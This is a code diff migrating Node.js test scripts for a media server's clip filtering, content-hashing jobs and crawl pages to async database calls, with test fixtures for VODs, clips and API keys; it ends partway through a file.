-process.env.FILES_PATH = dir('files');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.PASTES_PATH = dir('pastes');
-process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-delete process.env.EVENTS_URL;
-console.log = () => {};
-console.warn = () => {};
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-clip-origin-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.CLIPS_PATH = dir('clips');
+ process.env.FILES_PATH = dir('files');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.PASTES_PATH = dir('pastes');
+ process.env.MEDIA_PUBLIC_URL = 'https://media.test';
+ delete process.env.EVENTS_URL;
+ console.log = () => {};
+ console.warn = () => {};
-const db = require('../server/db/database');
-db.upsertApp({ app_id: 'live', api_key: 'live-key' });
-const raw = db.getDb();
-// The background cut is not what this checks: fail it at once, without ffmpeg.
-require('../server/vod/clip-cutter').cutClipFile = async () => ({ ok: false, error: 'not in this test' });
+ const db = require('../server/db/database');
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ const raw = db.getDb();
+ // The background cut is not what this checks: fail it at once, without ffmpeg.
+ require('../server/vod/clip-cutter').cutClipFile = async () => ({ ok: false, error: 'not in this test' });
-const vodFile = path.join(process.env.VOD_PATH, 'vod-1.webm');
-fs.writeFileSync(vodFile, Buffer.alloc(64, 1));
-const daysAgo = (n) => new Date(Date.now() - n * 86400_000).toISOString().replace('T', ' ').slice(0, 19);
-raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, view_count, created_at)
- VALUES (1, 'live', 5, 'Fresh', ?, 1, 'public', 600, 3, ?)`).run(vodFile, daysAgo(1));
-raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, view_count, created_at)
- VALUES (2, 'live', 5, 'Old', ?, 1, 'public', 600, 90, ?)`).run(vodFile, daysAgo(40));
-// An imported row keeps its ISO timestamp: `since` must still compare it by time.
-raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, view_count, created_at)
- VALUES (3, 'live', 5, 'Imported', ?, 1, 'public', 600, 1, ?)`).run(vodFile, new Date(Date.now() - 2 * 86400_000).toISOString());
-const insClip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, is_public, visibility, status, auto_generated, view_count, created_at)
- VALUES (?, 'live', 1, 5, ?, 'x.webm', ?, ?, ?, ?, ?, ?)`);
-insClip.run(10, 'Person, public', 1, 'public', 'ready', 0, 5, daysAgo(1));
-insClip.run(11, 'AI, public', 1, 'public', 'ready', 1, 9, daysAgo(2));
-insClip.run(12, 'AI, private', 0, 'private', 'ready', 1, 0, daysAgo(1));
-insClip.run(13, 'Person, failed cut', 1, 'public', 'failed', 0, 0, daysAgo(1));
-insClip.run(14, 'Person, old', 1, 'public', 'ready', 0, 50, daysAgo(40));
-insClip.run(15, 'Imported, no status', 1, 'public', null, 0, 1, daysAgo(3));
+ const vodFile = path.join(process.env.VOD_PATH, 'vod-1.webm');
+ fs.writeFileSync(vodFile, Buffer.alloc(64, 1));
+ const daysAgo = (n) => new Date(Date.now() - n * 86400_000).toISOString().replace('T', ' ').slice(0, 19);
+ await raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, view_count, created_at) OVERRIDING SYSTEM VALUE
+ VALUES (1, 'live', 5, 'Fresh', ?, 1, 'public', 600, 3, ?) RETURNING id`).run(vodFile, daysAgo(1));
+ await raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, view_count, created_at) OVERRIDING SYSTEM VALUE
+ VALUES (2, 'live', 5, 'Old', ?, 1, 'public', 600, 90, ?) RETURNING id`).run(vodFile, daysAgo(40));
+ // An imported row keeps its ISO timestamp: `since` must still compare it by time.
+ await raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, view_count, created_at) OVERRIDING SYSTEM VALUE
+ VALUES (3, 'live', 5, 'Imported', ?, 1, 'public', 600, 1, ?) RETURNING id`).run(vodFile, new Date(Date.now() - 2 * 86400_000).toISOString());
+ const insClip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, is_public, visibility, status, auto_generated, view_count, created_at) OVERRIDING SYSTEM VALUE
+ VALUES (?, 'live', 1, 5, ?, 'x.webm', ?, ?, ?, ?, ?, ?) RETURNING id`);
+ await insClip.run(10, 'Person, public', 1, 'public', 'ready', 0, 5, daysAgo(1));
+ await insClip.run(11, 'AI, public', 1, 'public', 'ready', 1, 9, daysAgo(2));
+ await insClip.run(12, 'AI, private', 0, 'private', 'ready', 1, 0, daysAgo(1));
+ await insClip.run(13, 'Person, failed cut', 1, 'public', 'failed', 0, 0, daysAgo(1));
+ await insClip.run(14, 'Person, old', 1, 'public', 'ready', 0, 50, daysAgo(40));
+ await insClip.run(15, 'Imported, no status', 1, 'public', null, 0, 1, daysAgo(3));
-const express = require('express');
-const app = express();
-app.use(express.json());
-app.use('/api/v1/:app/vods', require('../server/vod/routes'));
-app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
-const server = http.createServer(app);
+ const express = require('express');
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v1/:app/vods', require('../server/vod/routes'));
+ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
+ const server = http.createServer(app);
-(async () => {
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${server.address().port}/api/v1/live`;
- const call = async (method, p, { body, user } = {}) => {
- const headers = { authorization: 'Bearer live-key' };
- if (user) headers['x-ov-user-id'] = String(user);
- if (body !== undefined) headers['content-type'] = 'application/json';
- const res = await fetch(base + p, { method, headers, body: body === undefined ? undefined : JSON.stringify(body) });
- return { status: res.status, json: await res.json().catch(() => null) };
- };
- const ids = (r) => r.json.clips.map((c) => c.id).sort((a, b) => a - b);
- let failures = 0;
- const check = async (name, fn) => {
- try { await fn(); process.stdout.write(` ok - ${name}\n`); }
- catch (e) { failures++; process.stdout.write(` FAIL - ${name}: ${e.message}\n`); }
- };
+ (async () => {
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${server.address().port}/api/v1/live`;
+ const call = async (method, p, { body, user } = {}) => {
+ const headers = { authorization: 'Bearer live-key' };
+ if (user) headers['x-ov-user-id'] = String(user);
+ if (body !== undefined) headers['content-type'] = 'application/json';
+ const res = await fetch(base + p, { method, headers, body: body === undefined ? undefined : JSON.stringify(body) });
+ return { status: res.status, json: await res.json().catch(() => null) };
+ };
+ const ids = (r) => r.json.clips.map((c) => c.id).sort((a, b) => a - b);
+ let failures = 0;
+ const check = async (name, fn) => {
+ try { await fn(); process.stdout.write(` ok - ${name}\n`); }
+ catch (e) { failures++; process.stdout.write(` FAIL - ${name}: ${e.message}\n`); }
+ };
- await check('auto_generated=0|1 splits the public list; private rows stay out of both', async () => {
- assert.deepStrictEqual(ids(await call('GET', '/clips?auto_generated=0')), [10, 13, 14, 15]);
- assert.deepStrictEqual(ids(await call('GET', '/clips?auto_generated=1')), [11]);
- assert.deepStrictEqual(ids(await call('GET', '/clips?auto_generated=true')), [11]);
- assert.deepStrictEqual(ids(await call('GET', '/clips')), [10, 11, 13, 14, 15], 'no filter: both kinds, as before');
- const r = await call('GET', '/clips?auto_generated=1');
- assert.strictEqual(r.json.total, 1, 'the total counts the same filter');
- assert.strictEqual(r.json.clips[0].auto_generated, true);
- });
+ await check('auto_generated=0|1 splits the public list; private rows stay out of both', async () => {
+ assert.deepStrictEqual(ids(await call('GET', '/clips?auto_generated=0')), [10, 13, 14, 15]);
+ assert.deepStrictEqual(ids(await call('GET', '/clips?auto_generated=1')), [11]);
+ assert.deepStrictEqual(ids(await call('GET', '/clips?auto_generated=true')), [11]);
+ assert.deepStrictEqual(ids(await call('GET', '/clips')), [10, 11, 13, 14, 15], 'no filter: both kinds, as before');
+ const r = await call('GET', '/clips?auto_generated=1');
+ assert.strictEqual(r.json.total, 1, 'the total counts the same filter');
+ assert.strictEqual(r.json.clips[0].auto_generated, true);
+ });
- await check('status=ready leaves out failed cuts and keeps imported rows without a status', async () => {
- assert.deepStrictEqual(ids(await call('GET', '/clips?status=ready&auto_generated=0')), [10, 14, 15]);
- });
+ await check('status=ready leaves out failed cuts and keeps imported rows without a status', async () => {
+ assert.deepStrictEqual(ids(await call('GET', '/clips?status=ready&auto_generated=0')), [10, 14, 15]);
+ });
- await check('since bounds clips and VODs; views order holds inside the window', async () => {
- const week = new Date(Date.now() - 7 * 86400_000).toISOString();
- assert.deepStrictEqual(ids(await call('GET', `/clips?since=${encodeURIComponent(week)}&status=ready`)), [10, 11, 15]);
- const top = await call('GET', `/clips?since=${encodeURIComponent(week)}&order=views&status=ready`);
- assert.deepStrictEqual(top.json.clips.map((c) => c.id), [11, 10, 15]);
- const vods = await call('GET', `/vods?since=${encodeURIComponent(week)}&order=views`);
- assert.deepStrictEqual(vods.json.vods.map((v) => v.id), [1, 3], 'the 40-day-old VOD is out, the ISO-dated one is in');
- assert.strictEqual(vods.json.total, 2);
- const sqlForm = await call('GET', `/vods?since=${encodeURIComponent(daysAgo(7))}`);
- assert.strictEqual(sqlForm.json.total, 2, "'YYYY-MM-DD HH:MM:SS' works too");
- const junk = await call('GET', '/vods?since=not-a-date');
- assert.strictEqual(junk.json.total, 3, 'an unreadable since is ignored, not a 500');
- });
+ await check('since bounds clips and VODs; views order holds inside the window', async () => {
+ const week = new Date(Date.now() - 7 * 86400_000).toISOString();
+ assert.deepStrictEqual(ids(await call('GET', `/clips?since=${encodeURIComponent(week)}&status=ready`)), [10, 11, 15]);
+ const top = await call('GET', `/clips?since=${encodeURIComponent(week)}&order=views&status=ready`);
+ assert.deepStrictEqual(top.json.clips.map((c) => c.id), [11, 10, 15]);
+ const vods = await call('GET', `/vods?since=${encodeURIComponent(week)}&order=views`);
+ assert.deepStrictEqual(vods.json.vods.map((v) => v.id), [1, 3], 'the 40-day-old VOD is out, the ISO-dated one is in');
+ assert.strictEqual(vods.json.total, 2);
+ const sqlForm = await call('GET', `/vods?since=${encodeURIComponent(daysAgo(7))}`);
+ assert.strictEqual(sqlForm.json.total, 2, "'YYYY-MM-DD HH:MM:SS' works too");
+ const junk = await call('GET', '/vods?since=not-a-date');
+ assert.strictEqual(junk.json.total, 3, 'an unreadable since is ignored, not a 500');
+ });
- await check('POST /clips keeps auto_generated and the description for the app itself', async () => {
- const r = await call('POST', '/clips', { body: { vod_id: 1, start_s: 10, end_s: 30, title: 'AI pick', auto_generated: true, description: 'A <b>big</b> moment' } });
- assert.strictEqual(r.status, 202, JSON.stringify(r.json));
- const row = db.getClipById(r.json.id);
- assert.strictEqual(row.auto_generated, 1);
- assert.strictEqual(row.description, 'A big moment');
- });
+ await check('POST /clips keeps auto_generated and the description for the app itself', async () => {
+ const r = await call('POST', '/clips', { body: { vod_id: 1, start_s: 10, end_s: 30, title: 'AI pick', auto_generated: true, description: 'A <b>big</b> moment' } });
+ assert.strictEqual(r.status, 202, JSON.stringify(r.json));
+ const row = await db.getClipById(r.json.id);
+ assert.strictEqual(row.auto_generated, 1);
+ assert.strictEqual(row.description, 'A big moment');
+ });
- await check('POST /clips acting for a user is a person\'s clip, whatever it claims', async () => {
- const r = await call('POST', '/clips', { user: 7, body: { vod_id: 1, start_s: 100, end_s: 120, title: 'Mine', auto_generated: true } });
- assert.strictEqual(r.status, 202, JSON.stringify(r.json));
- assert.strictEqual(db.getClipById(r.json.id).auto_generated, 0);
- });
+ await check('POST /clips acting for a user is a person\'s clip, whatever it claims', async () => {
+ const r = await call('POST', '/clips', { user: 7, body: { vod_id: 1, start_s: 100, end_s: 120, title: 'Mine', auto_generated: true } });
+ assert.strictEqual(r.status, 202, JSON.stringify(r.json));
+ assert.strictEqual((await db.getClipById(r.json.id)).auto_generated, 0);
+ });
- await check('PUT /clips/:id: the app may mark a clip machine-made; a user may not', async () => {
- const denied = await call('PUT', '/clips/10', { user: 5, body: { auto_generated: true } });
- assert.strictEqual(denied.status, 403);
- assert.strictEqual(db.getClipById(10).auto_generated, 0);
- const ok = await call('PUT', '/clips/10', { body: { auto_generated: true } });
- assert.strictEqual(ok.status, 200);
- assert.strictEqual(ok.json.clip.auto_generated, true);
- const back = await call('PUT', '/clips/10', { body: { auto_generated: 0 } });
- assert.strictEqual(back.json.clip.auto_generated, false);
- const title = await call('PUT', '/clips/10', { user: 5, body: { title: 'Renamed' } });
- assert.strictEqual(title.status, 200, 'other fields still work for users');
- });
+ await check('PUT /clips/:id: the app may mark a clip machine-made; a user may not', async () => {
+ const denied = await call('PUT', '/clips/10', { user: 5, body: { auto_generated: true } });
+ assert.strictEqual(denied.status, 403);
+ assert.strictEqual((await db.getClipById(10)).auto_generated, 0);
+ const ok = await call('PUT', '/clips/10', { body: { auto_generated: true } });
+ assert.strictEqual(ok.status, 200);
+ assert.strictEqual(ok.json.clip.auto_generated, true);
+ const back = await call('PUT', '/clips/10', { body: { auto_generated: 0 } });
+ assert.strictEqual(back.json.clip.auto_generated, false);
+ const title = await call('PUT', '/clips/10', { user: 5, body: { title: 'Renamed' } });
+ assert.strictEqual(title.status, 200, 'other fields still work for users');
+ });
- server.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- process.stdout.write(failures ? `\n${failures} check(s) failed\n` : '\nclip origin filters: all checks passed\n');
- process.exit(failures ? 1 : 0);
-})();
+ server.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ process.stdout.write(failures ? `\n${failures} check(s) failed\n` : '\nclip origin filters: all checks passed\n');
+ process.exit(failures ? 1 : 0);
+ })();
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -10,118 +10,122 @@ const os = require('os');
@@ -10,118 +10,122 @@ const os = require('os');
const path = require('path');
const path = require('path');
const crypto = require('crypto');
const crypto = require('crypto');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-hash-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-Object.assign(process.env, {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
- MEDIA_INVARIANT_SCAN_HOURS: '0', MEDIA_HASH_SETTLE_S: '60', MEDIA_HASH_INTERVAL_MIN: '15',
-});
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-hash-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ Object.assign(process.env, {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
+ MEDIA_INVARIANT_SCAN_HOURS: '0', MEDIA_HASH_SETTLE_S: '60', MEDIA_HASH_INTERVAL_MIN: '15',
+ });
-const db = require('../server/db/database');
-const model = require('../server/objects/model');
-const queue = require('../server/jobs/queue');
-const worker = require('../server/jobs/worker');
-const hashJob = require('../server/jobs/content-hash');
-const verify = require('../server/objects/verify-job');
+ const db = require('../server/db/database');
+ const model = require('../server/objects/model');
+ const queue = require('../server/jobs/queue');
+ const worker = require('../server/jobs/worker');
+ const hashJob = require('../server/jobs/content-hash');
+ const verify = require('../server/objects/verify-job');
-db.upsertApp({ app_id: 'live', api_key: 'live-key' });
-db.upsertApp({ app_id: 'games', api_key: 'games-key' });
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });
-const sha = (buf) => crypto.createHash('sha256').update(buf).digest('hex');
-const age = (file, s = 3600) => { const t = (Date.now() - s * 1000) / 1000; fs.utimesSync(file, t, t); };
-function vodWith(name, bytes, { app = 'live', old = true } = {}) {
- const file = path.join(process.env.VOD_PATH, name);
- fs.writeFileSync(file, bytes);
- if (old) age(file);
- const id = Number(db.run(`INSERT INTO vods (app_id, title, file_path, file_size, duration_seconds, is_public, visibility, health_status) VALUES (?, 't', ?, ?, 60, 1, 'public', 'ok')`,
- [app, file, bytes.length]).lastInsertRowid);
- model.sync('vod', id);
- return { id, file, obj: () => model.getObject(db.get('SELECT object_id FROM vods WHERE id = ?', [id]).object_id) };
-}
-const localLoc = (objId) => db.get("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'local'", [objId]);
+ const sha = (buf) => crypto.createHash('sha256').update(buf).digest('hex');
+ const age = (file, s = 3600) => { const t = (Date.now() - s * 1000) / 1000; fs.utimesSync(file, t, t); };
+ async function vodWith(name, bytes, { app = 'live', old = true } = {}) {
+ const file = path.join(process.env.VOD_PATH, name);
+ fs.writeFileSync(file, bytes);
+ if (old) age(file);
+ const id = Number((await db.run(`INSERT INTO vods (app_id, title, file_path, file_size, duration_seconds, is_public, visibility, health_status) VALUES (?, 't', ?, ?, 60, 1, 'public', 'ok') RETURNING id`,
+ [app, file, bytes.length])).lastInsertRowid);
+ await model.sync('vod', id);
+ return { id, file, obj: async () => await model.getObject((await db.get('SELECT object_id FROM vods WHERE id = ?', [id])).object_id) };
+ }
+ const localLoc = async (objId) => await db.get("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'local'", [objId]);
-(async () => {
- const a = vodWith('a.mp4', Buffer.alloc(300000, 1));
- const b = vodWith('b.mp4', Buffer.alloc(200000, 2));
- const fresh = vodWith('fresh.mp4', Buffer.alloc(1000, 3), { old: false });
- const other = vodWith('other.mp4', Buffer.alloc(5000, 4));
- db.run('UPDATE media_objects SET size_bytes = 999 WHERE id = ?', [other.obj().id]); // the local copy is another version
- const games = vodWith('g.mp4', Buffer.alloc(4000, 5), { app: 'games' });
- assert.strictEqual(a.obj().content_hash, null);
- const before = hashJob.remaining('live');
- assert.strictEqual(before, 4);
+ (async () => {
+ const a = await vodWith('a.mp4', Buffer.alloc(300000, 1));
+ const b = await vodWith('b.mp4', Buffer.alloc(200000, 2));
+ const fresh = await vodWith('fresh.mp4', Buffer.alloc(1000, 3), { old: false });
+ const other = await vodWith('other.mp4', Buffer.alloc(5000, 4));
+ await db.run('UPDATE media_objects SET size_bytes = 999 WHERE id = ?', [(await other.obj()).id]); // the local copy is another version
+ const games = await vodWith('g.mp4', Buffer.alloc(4000, 5), { app: 'games' });
+ assert.strictEqual((await a.obj()).content_hash, null);
+ const before = await hashJob.remaining('live');
+ assert.strictEqual(before, 4);
- // ── 1. A batch hashes local copies onto the object and the location, and skips what it must ──
- const r = await hashJob.hashBatch({ appId: 'live' });
- assert.deepStrictEqual([r.hashed, r.bytes], [2, 500000]);
- assert.deepStrictEqual(r.skipped, { recently_changed: 1, size_differs_from_object: 1 });
- assert.strictEqual(r.remaining, 2);
- const oa = a.obj();
- assert.strictEqual(oa.content_hash, sha(fs.readFileSync(a.file)));
- assert.strictEqual(localLoc(oa.id).checksum, oa.content_hash, 'the location carries it too');
- assert.ok(localLoc(oa.id).verified_at);
- assert.deepStrictEqual([JSON.parse(oa.metadata).hash_basis.key, JSON.parse(oa.metadata).hash_basis.size], [path.resolve(a.file), 300000]);
- assert.strictEqual(games.obj().content_hash, null, 'one tenant per run');
- console.log('✅ sha256 of local copies recorded on object and location; changing files and other versions skipped');
+ // ── 1. A batch hashes local copies onto the object and the location, and skips what it must ──
+ const r = await hashJob.hashBatch({ appId: 'live' });
+ assert.deepStrictEqual([r.hashed, r.bytes], [2, 500000]);
+ assert.deepStrictEqual(r.skipped, { recently_changed: 1, size_differs_from_object: 1 });
+ assert.strictEqual(r.remaining, 2);
+ const oa = (await a.obj());
+ assert.strictEqual(oa.content_hash, sha(fs.readFileSync(a.file)));
+ assert.strictEqual((await localLoc(oa.id)).checksum, oa.content_hash, 'the location carries it too');
+ assert.ok((await localLoc(oa.id)).verified_at);
+ assert.deepStrictEqual([JSON.parse(oa.metadata).hash_basis.key, JSON.parse(oa.metadata).hash_basis.size], [path.resolve(a.file), 300000]);
+ assert.strictEqual((await games.obj()).content_hash, null, 'one tenant per run');
+ console.log('✅ sha256 of local copies recorded on object and location; changing files and other versions skipped');
- // ── 2. Bounded by bytes: a run stops at its budget (the first file always fits), the next continues ──
- const big1 = vodWith('big1.mp4', Buffer.alloc(3 * 1048576, 6));
- const big2 = vodWith('big2.mp4', Buffer.alloc(3 * 1048576, 7));
- const r2 = await hashJob.hashBatch({ appId: 'live', budgetMb: 4 });
- assert.deepStrictEqual([r2.hashed, r2.skipped.budget], [1, 1]);
- assert.strictEqual([big1, big2].filter(v => v.obj().content_hash).length, 1, 'one of the two 3 MB files fits a 4 MB budget');
- const r3 = await hashJob.hashBatch({ appId: 'live', budgetMb: 4 });
- assert.strictEqual(r3.hashed, 1);
- assert.ok(big1.obj().content_hash && big2.obj().content_hash, 'the next run takes the other');
- const r4 = await hashJob.hashBatch({ appId: 'live', limit: 1 });
- assert.strictEqual(r4.hashed + Object.values(r4.skipped).reduce((x, y) => x + y, 0), 1, 'limit bounds the count');
- console.log('✅ bounded batches: object count and byte budget');
+ // ── 2. Bounded by bytes: a run stops at its budget (the first file always fits), the next continues ──
+ const big1 = await vodWith('big1.mp4', Buffer.alloc(3 * 1048576, 6));
+ const big2 = await vodWith('big2.mp4', Buffer.alloc(3 * 1048576, 7));
+ const r2 = await hashJob.hashBatch({ appId: 'live', budgetMb: 4 });
+ assert.deepStrictEqual([r2.hashed, r2.skipped.budget], [1, 1]);
+ let hashed = 0;
+ for (const v of [big1, big2]) if ((await v.obj()).content_hash) hashed++;
+ assert.strictEqual(hashed, 1, 'one of the two 3 MB files fits a 4 MB budget');
+ const r3 = await hashJob.hashBatch({ appId: 'live', budgetMb: 4 });
+ assert.strictEqual(r3.hashed, 1);
+ assert.ok((await big1.obj()).content_hash && (await big2.obj()).content_hash, 'the next run takes the other');
+ const r4 = await hashJob.hashBatch({ appId: 'live', limit: 1 });
+ assert.strictEqual(r4.hashed + Object.values(r4.skipped).reduce((x, y) => x + y, 0), 1, 'limit bounds the count');
+ console.log('✅ bounded batches: object count and byte budget');
- // ── 3. A changed local file drops the job's hash on re-projection; a move to B2 keeps it ──
- fs.appendFileSync(b.file, Buffer.alloc(1000, 9)); // a remux in place: new size
- db.run('UPDATE vods SET file_size = ? WHERE id = ?', [201000, b.id]);
- model.sync('vod', b.id);
- const ob = b.obj();
- assert.strictEqual(ob.content_hash, null, 'stale hash dropped');
- assert.strictEqual(localLoc(ob.id).checksum, null);
- assert.strictEqual(JSON.parse(ob.metadata).hash_basis, undefined);
- age(b.file);
- await hashJob.hashBatch({ appId: 'live', objectId: ob.id });
- assert.strictEqual(b.obj().content_hash, sha(fs.readFileSync(b.file)), 'hashed again from the new bytes');
- const kept = oa.content_hash;
- fs.unlinkSync(a.file); // offloaded: local copy gone, B2 canonical
- db.run("UPDATE vods SET storage_provider = 'b2', storage_key = 'vods/a.mp4' WHERE id = ?", [a.id]);
- model.sync('vod', a.id);
- assert.strictEqual(a.obj().content_hash, kept, 'the bytes moved; the hash stays');
- console.log('✅ a remuxed local file loses the stale hash (and is re-hashed); a move to B2 keeps it');
+ // ── 3. A changed local file drops the job's hash on re-projection; a move to B2 keeps it ──
+ fs.appendFileSync(b.file, Buffer.alloc(1000, 9)); // a remux in place: new size
+ await db.run('UPDATE vods SET file_size = ? WHERE id = ?', [201000, b.id]);
+ await model.sync('vod', b.id);
+ const ob = (await b.obj());
+ assert.strictEqual(ob.content_hash, null, 'stale hash dropped');
+ assert.strictEqual((await localLoc(ob.id)).checksum, null);
+ assert.strictEqual(JSON.parse(ob.metadata).hash_basis, undefined);
+ age(b.file);
+ await hashJob.hashBatch({ appId: 'live', objectId: ob.id });
+ assert.strictEqual((await b.obj()).content_hash, sha(fs.readFileSync(b.file)), 'hashed again from the new bytes');
+ const kept = oa.content_hash;
+ fs.unlinkSync(a.file); // offloaded: local copy gone, B2 canonical
+ await db.run("UPDATE vods SET storage_provider = 'b2', storage_key = 'vods/a.mp4' WHERE id = ?", [a.id]);
+ await model.sync('vod', a.id);
+ assert.strictEqual((await a.obj()).content_hash, kept, 'the bytes moved; the hash stays');
+ console.log('✅ a remuxed local file loses the stale hash (and is re-hashed); a move to B2 keeps it');
- // ── 4. Verification uses it: a corrupted local copy of the same size is caught ──
- const c = vodWith('c.mp4', Buffer.alloc(100000, 8));
- await hashJob.hashBatch({ appId: 'live', objectId: c.obj().id });
- const good = await verify.verifyObject(c.obj(), { head: async () => undefined, upload: async () => undefined, hashMaxBytes: 64 * 1048576, repairCorrupt: false, budget: { left: 0 } });
- assert.strictEqual(good.locations.find(l => l.provider === 'local').state, 'present');
- const fd = fs.openSync(c.file, 'r+'); fs.writeSync(fd, Buffer.from([0]), 0, 1, 500); fs.closeSync(fd);
- const bad = await verify.verifyObject(c.obj(), { head: async () => undefined, upload: async () => undefined, hashMaxBytes: 64 * 1048576, repairCorrupt: false, budget: { left: 0 } });
- assert.strictEqual(bad.locations.find(l => l.provider === 'local').state, 'corrupt', 'bit rot of the same size is now visible');
- console.log('✅ scheduled verification checks local copies against the recorded hash');
+ // ── 4. Verification uses it: a corrupted local copy of the same size is caught ──
+ const c = await vodWith('c.mp4', Buffer.alloc(100000, 8));
+ await hashJob.hashBatch({ appId: 'live', objectId: (await c.obj()).id });
+ const good = await verify.verifyObject((await c.obj()), { head: async () => undefined, upload: async () => undefined, hashMaxBytes: 64 * 1048576, repairCorrupt: false, budget: { left: 0 } });
+ assert.strictEqual(good.locations.find(l => l.provider === 'local').state, 'present');
+ const fd = fs.openSync(c.file, 'r+'); fs.writeSync(fd, Buffer.from([0]), 0, 1, 500); fs.closeSync(fd);
+ const bad = await verify.verifyObject((await c.obj()), { head: async () => undefined, upload: async () => undefined, hashMaxBytes: 64 * 1048576, repairCorrupt: false, budget: { left: 0 } });
+ assert.strictEqual(bad.locations.find(l => l.provider === 'local').state, 'corrupt', 'bit rot of the same size is now visible');
+ console.log('✅ scheduled verification checks local copies against the recorded hash');
- // ── 5. As a job: scheduled per tenant with work, run through the worker, pruned like thumbnails ──
- assert.throws(() => hashJob.spec.validate({ obj: null, params: { limit: 0 } }), /limit/);
- const n = hashJob.schedule(Date.now());
- assert.strictEqual(n, 2, 'one per tenant with unhashed local copies (live, games)');
- assert.strictEqual(hashJob.schedule(Date.now()), 0, 'once per period');
- const gj = queue.list('games', { type: 'object.hash' }).jobs[0];
- const done = await worker.runNow(gj.id);
- assert.strictEqual(done.status, 'succeeded');
- assert.strictEqual(JSON.parse(done.result).hashed, 1);
- assert.ok(games.obj().content_hash);
- db.run("UPDATE media_jobs SET finished_at = datetime('now', '-40 days') WHERE id = ?", [gj.id]);
- assert.strictEqual(queue.prune({ days: 30 }), 1, 'finished hash jobs are pruned');
- console.log('✅ object.hash runs as a scheduled job per tenant and is pruned when finished');
+ // ── 5. As a job: scheduled per tenant with work, run through the worker, pruned like thumbnails ──
+ assert.throws(() => hashJob.spec.validate({ obj: null, params: { limit: 0 } }), /limit/);
+ const n = await hashJob.schedule(Date.now());
+ assert.strictEqual(n, 2, 'one per tenant with unhashed local copies (live, games)');
+ assert.strictEqual(await hashJob.schedule(Date.now()), 0, 'once per period');
+ const gj = (await queue.list('games', { type: 'object.hash' })).jobs[0];
+ const done = await worker.runNow(gj.id);
+ assert.strictEqual(done.status, 'succeeded');
+ assert.strictEqual(JSON.parse(done.result).hashed, 1);
+ assert.ok((await games.obj()).content_hash);
+ await db.run("UPDATE media_jobs SET finished_at = datetime('now', '-40 days') WHERE id = ?", [gj.id]);
+ assert.strictEqual(await queue.prune({ days: 30 }), 1, 'finished hash jobs are pruned');
+ console.log('✅ object.hash runs as a scheduled job per tenant and is pruned when finished');
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('\n✅ All content-hash tests passed');
- process.exit(0);
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('\n✅ All content-hash tests passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -11,136 +11,137 @@ const path = require('path');
@@ -11,136 +11,137 @@ const path = require('path');
const http = require('http');
const http = require('http');
const express = require('express');
const express = require('express');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-crawl-'));
-Object.assign(process.env, { DB_PATH: path.join(tmp, 'media.db'), MEDIA_PUBLIC_URL: 'https://media.test', VOD_PATH: path.join(tmp, 'vods'), CLIPS_PATH: path.join(tmp, 'clips') });
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-crawl-'));
+ Object.assign(process.env, { DB_PATH: path.join(tmp, 'media.db'), MEDIA_PUBLIC_URL: 'https://media.test', VOD_PATH: path.join(tmp, 'vods'), CLIPS_PATH: path.join(tmp, 'clips') });
-const db = require('../server/db/database');
-require('../server/views/service').ensureSchema();
-const pages = require('../server/public/pages');
+ const db = require('../server/db/database');
+ const pages = require('../server/public/pages');
-db.upsertApp({ app_id: 'live', api_key: 'k1-live-crawl' });
-db.upsertApp({ app_id: 'games', api_key: 'k2-games-crawl' });
